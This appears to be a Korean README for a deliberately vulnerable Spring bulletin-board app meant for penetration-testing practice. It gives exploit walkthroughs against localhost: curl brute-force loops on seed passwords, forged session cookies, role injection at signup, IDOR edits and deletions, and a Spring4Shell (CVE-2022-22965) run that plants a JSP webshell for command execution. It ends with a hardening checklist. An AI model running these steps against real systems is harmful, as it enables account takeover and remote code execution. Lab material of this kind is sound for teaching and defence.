Exploit for Spring4Shell-POC CVE-2022-22965

## https://sploitus.com/exploit?id=66F7390F-EB96-5E0D-9712-05083B37F1B0
# ReznokWorks 사내 게시판 — 모의해킹 시나리오 PoC

원본 [Spring4Shell PoC](https://github.com/reznok/Spring4Shell-POC) 위에
**OWASP Top 10 시나리오**를 얹은 모의해킹 실습용 웹 애플리케이션입니다.
"사내 게시판" 서비스로 위장한 취약 사이트로, 다음 세 가지 취약점을 학습할 수 있습니다.

| # | 취약점 | OWASP | 위치 |
|---|---|---|---|
| 1 | **Identification & Authentication Failures** | A07:2021 | `/login`, `/signup`, 세션 쿠키 |
| 2 | **Broken Access Control (IDOR + 권한 검증 누락)** | A01:2021 | `/post/edit`, `/user/profile`, `/admin` |
| 3 | **Spring4Shell (CVE-2022-22965)** | A06:2021 (취약 컴포넌트) | `/greeting`, `/signup`, `/post/write`, `/post/edit` |

> ⚠ 본 프로젝트는 학습 및 모의해킹 실습 전용입니다. 실제 운영 환경에 배포하지 마세요.

---

## 1. 빠른 시작

```bash
docker build . -t reznokworks
docker run -p 8080:8080 reznokworks
```

WAR 패키징이라 컨텍스트 경로는 `/helloworld` 입니다.

- 로그인 화면: 
- 게시판: 
- Spring4Shell 진입점: 

### 시드 계정 (의도적으로 약한 비밀번호)

| 아이디 | 비밀번호 | 권한 |
|---|---|---|
| admin | admin123 | ADMIN |
| alice | 1234     | USER |
| bob   | qwerty   | USER |
| carol | password | USER |

---

## 2. 시나리오 흐름

```
┌──────────┐     ┌──────────┐     ┌──────────────┐     ┌────────────────┐
│ 정찰      │ ──> │ 약한 인증 │ ──> │ 권한 우회    │ ──> │ Spring4Shell   │
│ (게시판)  │     │ 돌파      │     │ (IDOR/Admin) │     │ → 웹쉘 RCE      │
└──────────┘     └──────────┘     └──────────────┘     └────────────────┘
```

1. 공격자는 `/helloworld/login` 에서 시드 계정의 약한 비밀번호를 무차별 대입.
2. 로그인 후 다른 사용자의 게시글을 임의 수정/삭제 (IDOR).
3. 숨겨진 `/admin` 페이지 강제 접근 → 평문 비밀번호 덤프.
4. `/greeting` 또는 `/signup` 폼에 Spring4Shell 페이로드 전송 → JSP 웹쉘 작성 → RCE.

---

## 3. A07 인증 실패 — 익스플로잇 가이드

### 3.1 평문 비밀번호 + 시도 제한 없음

`AuthController#loginSubmit` 은 `user.getPassword().equals(input)` 으로
**평문 비교**합니다. 잠금/지연 정책이 없어 무차별 대입이 가능합니다.

```bash
for pw in 1234 admin admin123 password qwerty 12345; do
  curl -s -o /dev/null -w "$pw -> %{http_code}\n" \
       -X POST http://localhost:8080/helloworld/login \
       -d "username=admin&password=$pw"
done
```

성공 시 `302` + `Set-Cookie: SESS_USER_ID=...` 가 떨어집니다.

### 3.2 예측 가능한 세션 토큰

`SessionHelper` 는 세션 토큰을 **그냥 사용자 ID** 로 발급합니다.

```bash
# 세션 강제: ADMIN 계정의 ID는 1
curl -b "SESS_USER_ID=1" http://localhost:8080/helloworld/admin
```

쿠키 값을 `1, 2, 3, 4...` 로 enumerate 하면 임의 사용자로 로그인됩니다.
`HttpOnly`, `Secure`, `SameSite` 모두 빠져 있어 XSS/네트워크 탈취에도 노출됩니다.

### 3.3 회원가입 권한 상승

`/signup` 은 `@ModelAttribute User` 로 바인딩되어 폼에 없는 `role` 도
주입할 수 있습니다.

```bash
curl -X POST http://localhost:8080/helloworld/signup \
     -d "username=evil&password=1&role=ADMIN"
```

생성된 `evil` 계정은 ADMIN 권한을 가집니다. (이 자체로 A01 + Mass Assignment)

---

## 4. A01 Broken Access Control — 익스플로잇 가이드

### 4.1 IDOR (게시글 수정/삭제)

`BoardController#editForm/editSubmit/delete` 는 작성자 검증을
하지 않습니다. `alice` 로 로그인한 뒤:

```bash
# admin 이 작성한 1번 글을 alice 가 수정
curl -b "SESS_USER_ID=2" \
     -X POST http://localhost:8080/helloworld/post/edit \
     -d "id=1&title=HACKED&content=alice%20was%20here&category=공지"

# 임의 글 삭제
curl -b "SESS_USER_ID=2" \
     "http://localhost:8080/helloworld/post/delete?id=2"
```

### 4.2 IDOR (직원 정보 조회)

`UserController#profile` 은 `?id=` 파라미터로 임의 사용자 정보를 노출합니다.

```bash
for i in 1 2 3 4 5; do
  curl -s -b "SESS_USER_ID=2" \
       "http://localhost:8080/helloworld/user/profile?id=$i" \
       | grep -E "(아이디|이메일|부서)"
done
```

### 4.3 관리자 페이지 강제 접근

`/admin` 은 navbar에 노출되지 않지만 URL 직접 입력으로 접근 가능하며,
`AdminController#dashboard` 는 **role 검증을 하지 않습니다**.
일반 사용자도 모든 사용자의 평문 비밀번호 + 전체 게시글을 조회할 수 있습니다.

```bash
curl -b "SESS_USER_ID=2" http://localhost:8080/helloworld/admin
```

---

## 5. Spring4Shell (CVE-2022-22965) — 익스플로잇 가이드

조건은 모두 충족됩니다:

- JDK ≥ 9 (Dockerfile: `tomcat-9.0.59-jdk11`)
- Spring Framework 5.3.15 (취약 범위)
- WAR 패키징 + Tomcat
- `@ModelAttribute` 기반 객체 바인딩

### 취약 엔드포인트

| 엔드포인트 | 바인딩 모델 | 비고 |
|---|---|---|
| `POST /greeting` | `Greeting` | 원본 PoC 호환 (exploit.py) |
| `POST /signup`   | `User`     | 인증 없이 호출 가능 |
| `POST /post/write` | `Post`   | 로그인 필요 |
| `POST /post/edit`  | `Post`   | 로그인 필요 |

### 실행

원본 exploit.py 를 그대로 사용할 수 있습니다.

```bash
python exploit.py --url "http://localhost:8080/helloworld/greeting"
# 또는
python exploit.py --url "http://localhost:8080/helloworld/signup"
```

성공 시 `http://localhost:8080/shell.jsp?cmd=id` 로 명령 실행이 됩니다.

---

## 6. 디렉터리 구조

```
src/main/java/com/reznok/helloworld/
├── HelloworldApplication.java      # Spring Boot 진입점
├── HelloController.java            # 원본 Greeting (Spring4Shell 호환)
├── Greeting.java
├── domain/
│   ├── User.java                   # @ModelAttribute 바인딩 대상
│   └── Post.java                   # @ModelAttribute 바인딩 대상
├── repository/
│   ├── UserRepository.java         # 시드 계정 (약한 PW)
│   └── PostRepository.java         # 시드 게시글
├── security/
│   └── SessionHelper.java          # 취약한 세션 (예측 가능 토큰)
└── controller/
    ├── AuthController.java         # A07 + Spring4Shell
    ├── BoardController.java        # A01 IDOR + Spring4Shell
    ├── UserController.java         # A01 IDOR (직원 정보)
    └── AdminController.java        # A01 권한 검증 누락

src/main/resources/
├── application.properties
├── static/css/style.css
└── templates/
    ├── login.html      signup.html
    ├── board.html      post.html
    ├── write.html      edit.html
    ├── profile.html    admin.html
    └── hello.html      # 원본 PoC 호환 유지
```

---

## 7. 안전하게 만드려면 (체크리스트)

- 비밀번호는 BCrypt/Argon2 로 해시 저장.
- 세션은 서버측 저장 + 랜덤 토큰 + `HttpOnly`+`Secure`+`SameSite=Strict`.
- 로그인 5회 실패 시 일정 시간 잠금/캡차.
- `@ModelAttribute` 대신 DTO 화이트리스트 + `@InitBinder` 로 `setDisallowedFields("class.*", "Class.*", "*.class.*", "*.Class.*")`.
- 모든 컨트롤러 진입에서 `@PreAuthorize` 또는 명시적 소유권 검증.
- Spring Framework 5.3.18+ / 5.2.20+ 로 업그레이드.

---

## 크레딧

- 원본 PoC: [@Rezn0k](https://github.com/reznok/Spring4Shell-POC)
- 취약점 분석: [LunaSec](https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities)